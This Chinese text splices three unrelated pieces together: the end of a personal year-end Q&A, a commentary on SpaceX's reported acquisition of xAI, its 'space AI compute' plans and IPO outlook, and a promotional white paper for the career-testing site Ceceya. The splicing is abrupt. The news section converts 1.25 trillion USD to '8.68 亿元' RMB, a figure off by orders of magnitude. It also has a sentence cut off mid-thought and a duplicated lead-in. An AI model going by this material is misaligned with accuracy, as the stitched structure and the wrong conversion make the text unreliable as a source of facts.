38. 你收到的最好的赞美是?

你懂的真多 / 你讲得真好 / 你思路真清楚 / 你写的文章好看 / 给你点赞! 👍👍👍

39. 今年你学到了什么有价值的人生教训?

有理不在声高。

这也是我今年写的一篇笔记:

有理不在声高

40. 用一句话总结你这一年?

人生从不是一场必须夺冠的竞赛,而是一段体验的旅程。

这同样是今年的一篇笔记:

内求诸己,不假外物:学会与自己和解,才是人生的归宿


2026 继续前行!但求无愧于心,过好自己的生活就足够了~ 💪💪💪

今天凌晨,马斯克的商业帝国又发生巨变:

计划在今年 IPO 的 SpaceX收购了 xAI。新公司估值达 1.25 万亿美元(约合人民币 8.68 亿元),差不多是 xAI 估值(目前约 2500 亿美元)的五倍。 

有意思的是,据彭博社消息,知情人士透露,这笔交易是全股票交易,合并公司的股票预计每股价格为 526.59 美元。

另据路透社消息,在本次收购中,xAI 的投资者,每持有 1 股 xAI,可兑换 0.1433 股 SpaceX 股票;部分高管还可选择按每股 75.46 美元现金退出。

合并之后,这个巨大的“SpaceX Plus 版”,一口气拥有了:火箭、太空互联网、通信、AI、还有社交平台——去年 3 月,xAI 以 330 亿美元收购了 X 平台。

马斯克亲自写下一篇博客,阐明他的“太空 AI 算力”路线:

“这不仅是 SpaceX 与 xAI 使命的下一个篇章,而是下一本书:通过规模化,打造一颗“有意识的太阳”,以理解宇宙,并将意识之光延伸至群星之间。

当下,AI 的进步高度依赖于地面的大型数据中心,而这些设施需要极其庞大的电力与制冷能力。

全球范围内,为 AI 提供算力所需的电力需求,即便在短期内,也无法仅靠地面方案来满足,否则势必会对社区与环境造成沉重负担。

从长期来看,基于太空的 AI 是唯一可行的规模化路径。哪怕只利用太阳能量的百万分之一,所需的能量规模,也将超过人类文明当前总能耗的一百万倍。

因此,唯一合乎逻辑的解决方案,就是将这些高度消耗资源的计算活动,转移到一个拥有充足空间与能量的地方......”

不过虽然总体上“合二为一”了,但公司还向员工发了份内部备忘录,称 SpaceX 和 xAI 的品牌、工作目前暂时保持独立:

xAI 的员工未经批准不得直接访问 SpaceX 的内部数据库,也不能和这家火箭公司的员工直接合作;但是嘛,SpaceX 的员工,或许可以访问 xAI 的内部工具。

##AI+航天,“垂直整合型创新引擎”

这篇博客的开头,气势就直接拉满了:“SpaceX 已完成对 xAI 的收购,目标是打造一个在地球之上、也在地球之外,最雄心勃勃的垂直整合型创新引擎”

马斯克还在博文中笑称:“太空之所以叫'space',本来就是因为那里有足够的空间。”,还抛出一个大胆的预判:

“未来两到三年内,AI 计算成本最低的地方,会在太空。”

此话看起来很玄乎,但它并不是一句完全脱离工程现实的“马斯克式豪言”。

首先,在马斯克看来,AI 发展的“硬约束”不是芯片,而是电力和散热;而太空确实具备一些地面数据中心不容易同时满足的条件:

近地轨道是真空环境,散热在理论上更有优势;太阳能获取几乎不受昼夜限制,还基本不存在土地、电网接入、地方审批这些隐性成本。

如果算力直接部署在轨道上,还可以与卫星通信网络形成更紧密的耦合,把“感知—计算—传输”压进同一个系统里。

另外,他比较乐观假设了星舰(Starship)会把“发射成本”压到极低。

他表示,今年,将开始由星舰,把能力更强的 V3 星链卫星送入轨道。星舰单次发射所增加的系统容量,将超过当前 Falcon 发射 V2 版星链卫星的 20 倍

他随后给出了一个更直观的“算术题”:

如果每年向轨道发射 100 万吨卫星,每吨可提供 100 千瓦的计算能力,那么每年就能新增 100 吉瓦(GW)的 AI 算力,而且几乎不需要持续的运营或维护。从长期来看,存在一条每年向轨道部署 1 太瓦(TW)算力的路径

这是什么水平?

已知:1 太瓦(TW) = 1,000 吉瓦(GW),而一个大型核电站的发电功率才 1–1.5GW,而今天全球全部 AI 数据中心的用电规模,也就大致在数十 GW 量级。

而且马斯克不止嘴上说说,已经开始大举行动了。1 月 30 日,SpaceX 向美国联邦通信委员会(FCC)提交了一份文件,计划发射 100 万颗卫星,在近地轨道打造一个“轨道数据中心系统”,消息直接炸穿了航天圈。

总而言之,马斯克认为太空算力更便宜,并不是因为今天的技术有多么成熟,而是基于这三个前提能否同时兑现

  • 星舰可以把发射成本压到工业级

  • 太阳能可以提供近乎无限的长期电力

  • AI 算力的主要成本最终会集中在能源和散热上

但是现实的问题也清晰且棘手

首先是任务类型:推理或许还能容忍一定延迟,但大规模模型训练对同步性、带宽和稳定性的要求极高,把它搬到轨道上是否合适,本身就是一个问号。

其次是维护与可靠性:地面数据中心可以随时换板、换机、扩容,在轨硬件一旦出问题,几乎没有快速补救手段。 再往下是辐射、寿命和算力密度这些航天级约束,本来就和“把算力堆到极限”的 AI 逻辑存在天然冲突。

还有绕不开的问题:。无论是发射、替换,还是在轨运行,短期内都很难被称为“低成本”。

另外,截至目前,Starlink 依然是一个明确以通信为核心目标的系统。公开信息里,并没有任何已经成规模运行的“在轨算力”或“轨道数据中心”实验被披露。

这意味着,所谓“太空算力”,至少在现在,更像是一种方向判断,而不是已经跑通的工程方案。

正是在“太空算力还没闭环、地面模型公司又烧不动”的夹缝里,xAI 的定位开始转向

单独看 xAI,其问题其实挺清楚:模型研发和推理成本极高,每月烧钱在十亿美元量级;Grok 还没有形成稳定、可复制的商业模式;而且在与 OpenAI、谷歌等大厂的竞争中,大模型公司已经被拖入一场算力和资本的消耗战。

与 SpaceX 合并之后,xAI 不再只是“再做一个模型的公司”。它被放进了一个覆盖通信网络、轨道资源、能源与算力入口的系统里,AI 开始承担的是系统级能力

这也可能会改变 Grok 的潜在去向:它不再只是聊天机器人,而更可能成为星链终端的智能层、航天等场景中的信息处理系统,甚至是面向真实世界的实时世界模型。

##一场为 IPO 铺路的重构

如果说技术与产业路径解释了“这件事是否合理”,那么资本层面的变化,或许可以解释一下为什么是现在

这次交易背后,有一组清晰的数字:SpaceX 的内部估值约为 1 万亿美元,xAI 约为 2500 亿美元,合并后的整体估值约 1.25 万亿美元。

另据路透社消息,SpaceX 可能在 2026 年中推进 IPO、募资规模最高达 500 亿美元、估值目标可能到 1.5 万亿美元左右。不过 SpaceX 方目前对此还没给出回复。

把这些数字放在一起看,SpaceX 合并 xAI,就像是把两本厚薄悬殊的账,摊在同一张桌子上重新算:

xAI 的财务压力非常大,外界此前就多次报道其现金消耗速度接近“每月 10 亿美元量级”,并出现持续亏损。

相比之下,SpaceX 的“现金流”不仅持续,还逐年增长。其 2023 年总收入为 87 亿美元,2024 年增长至 131 亿美元,而据路透社消息,SpaceX 在 2025 年长到了 150 亿美元,其中 Starlink 的贡献比例约 50%–80%,经营利润(EBITDA 口径)约 80 亿美元。

从某种可以说,这次合并,是把高风险资产并入一个现金流更稳定、确定性更强的主体之中。

与此同时,这也完成了一次 IPO 叙事的升级

即将上市的主体,不再只是“一家火箭公司”,而是被包装为一个同时覆盖 AI、太空与通信基础设施的系统级公司。

对于投资人而言,这一步还回应了一个现实的问题:xAI 持续烧钱,谁来兜底?——给出的答案是:由一个已经具备基础设施属性、且现金流正在增强的主体来兜底。

当然,公开市场并不会为宏大叙事本身买单。

真正决定这次合并能否在 IPO 中站得住脚的,仍然是几个极为现实的指标:

不过还有一点需要说明:公开市场不会只听故事。真到了 IPO 关口,这些指标依然关键,比如:

  • Starlink 的收入和现金流能否持续;

  • AI 训练与数据中心投入会不会把主业的盈利“吃回去”;

  • 一个横跨航天、AI、社交平台等的公司,治理结构、信息披露与监管边界是否会变得更复杂。

总而言之,在笔者看来,在 IPO 预期升温的节点上,这次合并很像一次提前做结构调整的尝试;能不能被市场买账,还得看后续财务表现和治理。

参考链接:

https://x.com/SpaceX/status/2018440335140024383

https://www.spacex.com/updates#xai-joins-spacex

https://www.bloomberg.com/news/articles/2026-02-02/elon-musk-s-spacex-said-to-combine-with-xai-ahead-of-mega-ipo

https://ceceya.net

TqFSyqr2LP5Iqb7QhYAMfXc5OdMkBGot.webp

测测鸭 | 发现你的职业潜能

职业测评科学原理 与应用白皮书

科学驱动 · 数据赋能 · 职业未来


1. 引言:新一代职业发展导航系统

在数字化转型的浪潮下,职业形态正经历着前所未有的剧变。新兴职业的涌现与传统岗位的迭代,使得现代职场人在职业选择上面临着巨大的不确定性与迷茫感。

测测鸭 (Ceceya) 作为新一代职业发展导航系统,正是在这一背景下应运而生。我们的使命是通过科学严谨的心理学模型与先进的数据分析技术,消除职业规划中的信息不对称与认知盲区。不同于传统的经验主义咨询,Ceceya 坚持 "循证决策" (Evidence-Based Decision Making) 的理念,构建了以经典心理学理论为基石、以大数据算法为引擎的测评体系。我们致力于将复杂的个人特质转化为可视化的数据洞察,帮助用户从 "直觉选择" 转向 "科学决策",实现个人价值与社会需求的精准匹配。


2. 核心理论一:霍兰德职业兴趣模型 (RIASEC)

测测鸭的职业兴趣评估模块基于著名的霍兰德职业兴趣理论 (Holland's Theory of Vocational Personalities)。该理论由美国心理学家约翰·霍兰德 (John Holland) 于 1959 年提出,是目前全球应用最广泛、实证效度最高的职业指导理论之一。

RIASEC 六大核心类型

  • R 现实型 (Realistic) — 崇尚实干,喜欢操作工具、机械,偏好具体而非抽象的任务。

  • I 研究型 (Investigative) — 善于思考,喜欢探索、分析与解决科学问题,追求知识与真理。

  • A 艺术型 (Artistic) — 富有想象力,追求创新与自我表达,具有独特的审美与直觉。

  • S 社会型 (Social) — 热衷助人,擅长人际沟通、教育与服务,具备同理心。

  • E 企业型 (Enterprising) — 追求权力与成就,善于领导、劝说与管理,目标导向明确。

  • C 常规型 (Conventional) — 注重细节,喜欢有序、规范的数据处理工作,责任心强。

> RIASEC 不仅仅是简单的分类,它构建了一个严谨的六边形结构。位置相邻的类型(如 R 和 I)在心理特质上具有较高的相关性(一致性);而相对位置的类型则差异最大。Ceceya 的算法利用这一几何关系计算用户与特定职业的适配度。


3. 核心理论二:舒伯职业价值观体系

如果说兴趣决定了**"你会喜欢做什么",那么价值观则决定了"你为什么而工作"。Ceceya 引入了舒伯工作价值观量表 (Work Values Inventory, WVI)** 作为评估体系的第二大支柱。

Ceceya 的价值观测评覆盖了舒伯体系中的 15 项核心维度,分为内在价值观(如利他主义、美感、智力激发)和外在价值观(如经济报酬、声望、工作环境)。通过分析这些驱动力,我们帮助用户找到能带来长期满足感和稳定性的职业环境。


4. 测测鸭测评体系的技术实现

01 全量测评

严格遵循霍兰德架构,通过活动、能力、职业偏好、自我评价四个维度交叉验证,确保结果的深度与准确性。

02 快速速测

针对碎片化时间设计,精选 60 道核心题目,利用自适应逻辑在 10 分钟内快速锁定 RIASEC 优势代码。

03 可视化引擎

采用动态雷达图与柱状图呈现结果,精准计算标准分 (Z-Score),直观展示维度均衡度与突出优势。


5. 测评结果解读与应用指南

一份高质量的测评报告不仅要呈现数据,更要指导行动。Ceceya 的报告解读遵循 "特质识别—综合分析—决策支持" 的逻辑路径。

兴趣与价值观的"双轨决策"

我们建议用户在解读报告时,将**霍兰德代码(兴趣)舒伯核心价值观(需求)**进行交叉比对。例如,同样的兴趣代码在不同的价值观驱动下,可能指向完全不同的职业细分领域(如"利他主义"指向教育咨询,而"经济报酬"指向销售管理)。


结语

职业生涯是一场长跑,而非百米冲刺。测测鸭 (Ceceya) 致力于通过科学的测评工具,帮助每一位用户建立清晰的自我认知。未来,我们将继续深化 AI 技术在职业规划领域的应用,赋能每一个个体实现潜能的最大化。

https://ceceya.net

测测鸭的师兄: https://boboji.org